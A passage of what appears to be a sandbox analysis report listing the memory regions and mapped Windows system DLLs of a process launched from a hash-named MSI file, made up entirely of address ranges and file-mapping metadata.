end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 467 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 468 start_va = 0x7fefca60000 end_va = 0x7fefca82fff monitored = 0 entry_point = 0x7fefca61198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 469 start_va = 0x7fefae90000 end_va = 0x7fefaea4fff monitored = 0 entry_point = 0x7fefae91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 470 start_va = 0x10d0000 end_va = 0x14affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi" filename = "\\Users\\kEecfMwgj\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi" (normalized: "c:\\users\\keecfmwgj\\desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi") Region: id = 471 start_va = 0x14b0000 end_va = 0x188ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi" filename = "\\Users\\kEecfMwgj\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi" (normalized: "c:\\users\\keecfmwgj\\desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi") Region: id = 472 start_va = 0x7fefa510000 end_va = 0x7fefa51ffff monitored = 0 entry_point = 0x7fefa51a654 region_type = mapped_file name = "srclient.dll" filename = "\\Windows\\System32\\srclient.dll" (normalized: "c:\\windows\\system32\\srclient.dll") Region: id = 473 start_va = 0x7fef6000000 end_va = 0x7fef603efff monitored = 0 entry_point = 0x7fef6031724 region_type = mapped_file name = "spp.dll" filename = "\\Windows\\System32\\spp.dll" (normalized: "c:\\windows\\system32\\spp.dll") Region: id = 474 start_va = 0x7fef9ad0000 end_va = 0x7fef9c7ffff monitored = 0 entry_point = 0x7fef9ad1010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 475 start_va = 0x7fefa840000 end_va = 0x7fefa858fff monitored = 0 entry_point = 0x7fefa8411a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 476 start_va = 0x7fef9ab0000 end_va = 0x7fef9ac6fff monitored = 0 entry_point = 0x7fef9ab1060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 477 start_va = 0x2a0000 end_va = 0x2a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 478 start_va = 0x1980000 end_va = 0x19fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001980000" filename = "" Region: id = 479 start_va = 0x7fef4fa0000 end_va = 0x7fef4fb3fff monitored = 0 entry_point = 0x7fef4fac210 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 480 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 628 start_va = 0x7fefa820000 end_va = 0x7fefa82bfff monitored = 0 entry_point = 0x7fefa8215d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 629 start_va = 0x2b0000 end_va = 0x2b7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 630 start_va = 0x7fef30f0000 end_va = 0x7fef32c3fff monitored = 0 entry_point = 0x7fef3126b00 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 631 start_va = 0x1a00000 end_va = 0x1b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 632 start_va = 0x1b40000 end_va = 0x1ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b40000" filename = "" Region: id = 633 start_va = 0x1cf0000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cf0000" filename = "" Region: id = 634 start_va = 0xdd0000 end_va = 0xeaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 635 start_va = 0x1ee0000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 636 start_va = 0x20e0000 end_va = 0x234ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 637 start_va = 0x1b40000 end_va = 0x1c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b40000" filename = "" Region: id = 638 start_va = 0x1c70000 end_va = 0x1ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c70000" filename = "" Region: id = 639 start_va = 0x1890000 end_va = 0x194ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 640 start_va = 0x2350000 end_va = 0x274ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 641 start_va = 0x2c0000 end_va = 0x2c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 642 start_va = 0xb20000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 643 start_va = 0x1a30000 end_va = 0x1aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a30000" filename = "" Region: id = 644 start_va = 0x1ac0000 end_va = 0x1b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ac0000" filename = "" Region: id = 645 start_va = 0x1d00000 end_va = 0x1d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 646 start_va = 0x1e60000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 647 start_va = 0x7fefa7a0000 end_va = 0x7fefa806fff monitored = 0 entry_point = 0x7fefa7b6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 648 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 649 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 770 start_va = 0x2d0000 end_va = 0x2d3fff monitored = 0 entry_point = 0x2d2100 region_type = mapped_file name = "eventcls.dll" filename = "\\Windows\\System32\\eventcls.dll" (normalized: "c:\\windows\\system32\\eventcls.dll") Region: id = 771 start_va = 0x7fefcb70000 end_va = 0x7fefcc00fff monitored = 0 entry_point = 0x7fefcb71440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 772 start_va = 0xb40000 end_va = 0xb43fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 773 start_va = 0x7fefb620000 end_va = 0x7fefb74bfff monitored = 0 entry_point = 0x7fefb6294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 774 start_va = 0x7fefae70000 end_va = 0x7fefae83fff monitored = 0 entry_point = 0x7fefae716b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 775 start_va = 0x7fefb750000 end_va = 0x7fefb76cfff monitored = 0 entry_point = 0x7fefb751ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 797 start_va = 0x1b50000 end_va = 0x1bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b50000" filename = "" Region: id = 798 start_va = 0x1bd0000 end_va = 0x1c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001bd0000" filename = "" Region: id = 799 start_va = 0x1dd0000 end_va = 0x1e4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 800 start_va = 0x1f40000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 801 start_va = 0x1fe0000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 802 start_va = 0x2060000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 803 start_va = 0x20e0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 804 start_va = 0x21f0000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 805 start_va = 0x22d0000 end_va = 0x234ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 806 start_va = 0x2750000 end_va = 0x27cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002750000" filename = "" Region: id = 807 start_va = 0x2880000 end_va = 0x28fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 808 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 809 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 810 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 811 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 812 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 813 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 814 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 818 start_va = 0xb50000 end_va = 0xb51fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b50000" filename = "" Region: id = 819 start_va = 0x2970000 end_va = 0x29effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 820 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 826 start_va = 0x29f0000 end_va = 0x2de4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000029f0000" filename = "" Region: id = 827 start_va = 0x2df0000 end_va = 0x31e4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002df0000" filename = "" Region: id = 828 start_va = 0x31f0000 end_va = 0x35ecfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000031f0000" filename = "" Region: id = 829 start_va = 0xbe0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 830 start_va = 0xc00000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 831 start_va = 0xcb0000 end_va = 0xccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 832 start_va = 0xcd0000 end_va = 0xceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 833 start_va = 0xcf0000 end_va = 0xd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 834 start_va = 0xd10000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 835 start_va = 0xd30000 end_va = 0xd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 836 start_va = 0xdd0000 end_va = 0xdeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 837 start_va = 0xe30000 end_va = 0xeaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 838 start_va = 0xdf0000 end_va = 0xe0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 839 start_va = 0xe10000 end_va = 0xe2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 840 start_va = 0x1950000 end_va = 0x196ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001950000" filename = "" Region: id = 841 start_va = 0x1a00000 end_va = 0x1a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 842 start_va = 0x1c50000 end_va = 0x1c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c50000" filename = "" Region: id = 843 start_va = 0x1d80000 end_va = 0x1d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 844 start_va = 0x1da0000 end_va = 0x1dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001da0000" filename = "" Region: id = 845 start_va = 0x1ee0000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 846 start_va = 0x1f00000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 847 start_va = 0x1f20000 end_va = 0x1f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 848 start_va = 0x1fc0000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 849 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 850 start_va = 0x2290000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 851 start_va = 0x22b0000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 852 start_va = 0x27d0000 end_va = 0x27effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 853 start_va = 0x27f0000 end_va = 0x280ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027f0000" filename = "" Region: id = 854 start_va = 0x2810000 end_va = 0x282ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 855 start_va = 0x2830000 end_va = 0x284ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 856 start_va = 0x2850000 end_va = 0x286ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002850000" filename = "" Region: id = 857 start_va = 0x2900000 end_va = 0x291ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 858 start_va = 0x35f0000 end_va = 0x39effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035f0000" filename = "" Region: id = 859 start_va = 0x2920000 end_va = 0x293ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 860 start_va = 0x2940000 end_va = 0x295ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 861 start_va = 0x39f0000 end_va = 0x3a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039f0000" filename = "" Region: id = 862 start_va = 0x3a10000 end_va = 0x3a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a10000" filename = "" Region: id = 863 start_va = 0x3a30000 end_va = 0x3a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a30000" filename = "" Region: id = 864 start_va = 0x3a50000 end_va = 0x3a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a50000" filename = "" Region: id = 865 start_va = 0x3a70000 end_va = 0x3a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a70000" filename = "" Region: id = 866 start_va = 0x3a90000 end_va = 0x3aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a90000" filename = "" Region: id = 867 start_va = 0x3ab0000 end_va = 0x3acffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ab0000" filename = "" Region: id = 868 start_va = 0x3ad0000 end_va = 0x3aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ad0000" filename = "" Region: id = 869 start_va = 0x3af0000 end_va = 0x3b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003af0000" filename = "" Region: id = 870 start_va = 0x3b10000 end_va = 0x3b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b10000" filename = "" Region: id = 871 start_va = 0x3b30000 end_va = 0x3b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b30000" filename = "" Region: id = 872 start_va = 0x3b50000 end_va = 0x3b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b50000" filename = "" Region: id = 873 start_va = 0x3b70000 end_va = 0x3b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b70000" filename = "" Region: id = 874 start_va = 0x3b90000 end_va = 0x3baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b90000" filename = "" Region: id = 875 start_va = 0x3bb0000 end_va = 0x3bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003bb0000" filename = "" Region: id = 876 start_va = 0x3bd0000 end_va = 0x3beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003bd0000" filename = "" Region: id = 877 start_va = 0x3bf0000 end_va = 0x3c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003bf0000" filename = "" Region: id = 878 start_va = 0x31f0000 end_va = 0x35e4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000031f0000" filename = "" Region: id = 879 start_va = 0x29f0000 end_va = 0x2decfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 880 start_va = 0xb40000 end_va = 0xb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 881 start_va = 0xbe0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 882 start_va = 0xc00000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 883 start_va = 0xcb0000 end_va = 0xccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 884 start_va = 0xcd0000 end_va = 0xceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 885 start_va = 0xcf0000 end_va = 0xd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 886 start_va = 0xd10000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 887 start_va = 0xd30000 end_va = 0xd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 888 start_va = 0xdd0000 end_va = 0xdeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 889 start_va = 0xdf0000 end_va = 0xe0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 890 start_va = 0xe10000 end_va = 0xe2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 891 start_va = 0x1950000 end_va = 0x196ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001950000" filename = "" Region: id = 892 start_va = 0x1a00000 end_va = 0x1a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 893 start_va = 0x1c50000 end_va = 0x1c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c50000" filename = "" Region: id = 894 start_va = 0x1cf0000 end_va = 0x1d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cf0000" filename = "" Region: id = 895 start_va = 0x1d10000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 896 start_va = 0x1d30000 end_va = 0x1d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 897 start_va = 0x1d50000 end_va = 0x1d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 898 start_va = 0x1d70000 end_va = 0x1d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d70000" filename = "" Region: id = 899 start_va = 0x1d90000 end_va = 0x1daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Region: id = 900 start_va = 0x1db0000 end_va = 0x1dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 901 start_va = 0x1ee0000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 902 start_va = 0x1f00000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 903 start_va = 0x1f20000 end_va = 0x1f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 904 start_va = 0x1fc0000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 905 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 906 start_va = 0x2290000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 907 start_va = 0x2df0000 end_va = 0x31effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002df0000" filename = "" Region: id = 908 start_va = 0x22b0000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 909 start_va = 0x27d0000 end_va = 0x27effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 910 start_va = 0x27f0000 end_va = 0x280ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027f0000" filename = "" Region: id = 911 start_va = 0x2810000 end_va = 0x282ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 912 start_va = 0x2830000 end_va = 0x284ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 913 start_va = 0x2850000 end_va = 0x286ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002850000" filename = "" Region: id = 914 start_va = 0x2900000 end_va = 0x291ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 915 start_va = 0x2920000 end_va = 0x293ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 916 start_va = 0x2940000 end_va = 0x295ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 917 start_va = 0x35f0000 end_va = 0x360ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035f0000" filename = "" Region: id = 918 start_va = 0x3610000 end_va = 0x362ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003610000" filename = "" Region: id = 919 start_va = 0x3630000 end_va = 0x364ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003630000" filename = "" Region: id = 920 start_va = 0x3650000 end_va = 0x366ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003650000" filename = "" Region: id = 921 start_va = 0x3670000 end_va = 0x368ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003670000" filename = "" Region: id = 922 start_va = 0x3690000 end_va = 0x36affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003690000" filename = "" Region: id = 923 start_va = 0x36b0000 end_va = 0x36cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036b0000" filename = "" Region: id = 924 start_va = 0x36d0000 end_va = 0x36effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036d0000" filename = "" Region: id = 925 start_va = 0x36f0000 end_va = 0x370ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036f0000" filename = "" Region: id = 926 start_va = 0x3710000 end_va = 0x372ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003710000" filename = "" Region: id = 927 start_va = 0x3730000 end_va = 0x374ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003730000" filename = "" Region: id = 928 start_va = 0x29f0000 end_va = 0x2beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 929 start_va = 0x3750000 end_va = 0x3b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003750000" filename = "" Region: id = 930 start_va = 0x2bf0000 end_va = 0x2deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bf0000" filename = "" Region: id = 931 start_va = 0x3b50000 end_va = 0x434ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b50000" filename = "" Region: id = 932 start_va = 0x4350000 end_va = 0x444ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 933 start_va = 0x4450000 end_va = 0x464ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004450000" filename = "" Region: id = 934 start_va = 0x4650000 end_va = 0x4a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004650000" filename = "" Region: id = 935 start_va = 0x4a50000 end_va = 0x4e44fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a50000" filename = "" Region: id = 936 start_va = 0x4e50000 end_va = 0x5244fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e50000" filename = "" Region: id = 937 start_va = 0x2df0000 end_va = 0x2ff0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002df0000" filename = "" Region: id = 938 start_va = 0x4a50000 end_va = 0x4e4cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a50000" filename = "" Region: id = 939 start_va = 0xb40000 end_va = 0xb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 940 start_va = 0xbe0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 941 start_va = 0xc00000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 942 start_va = 0xcb0000 end_va = 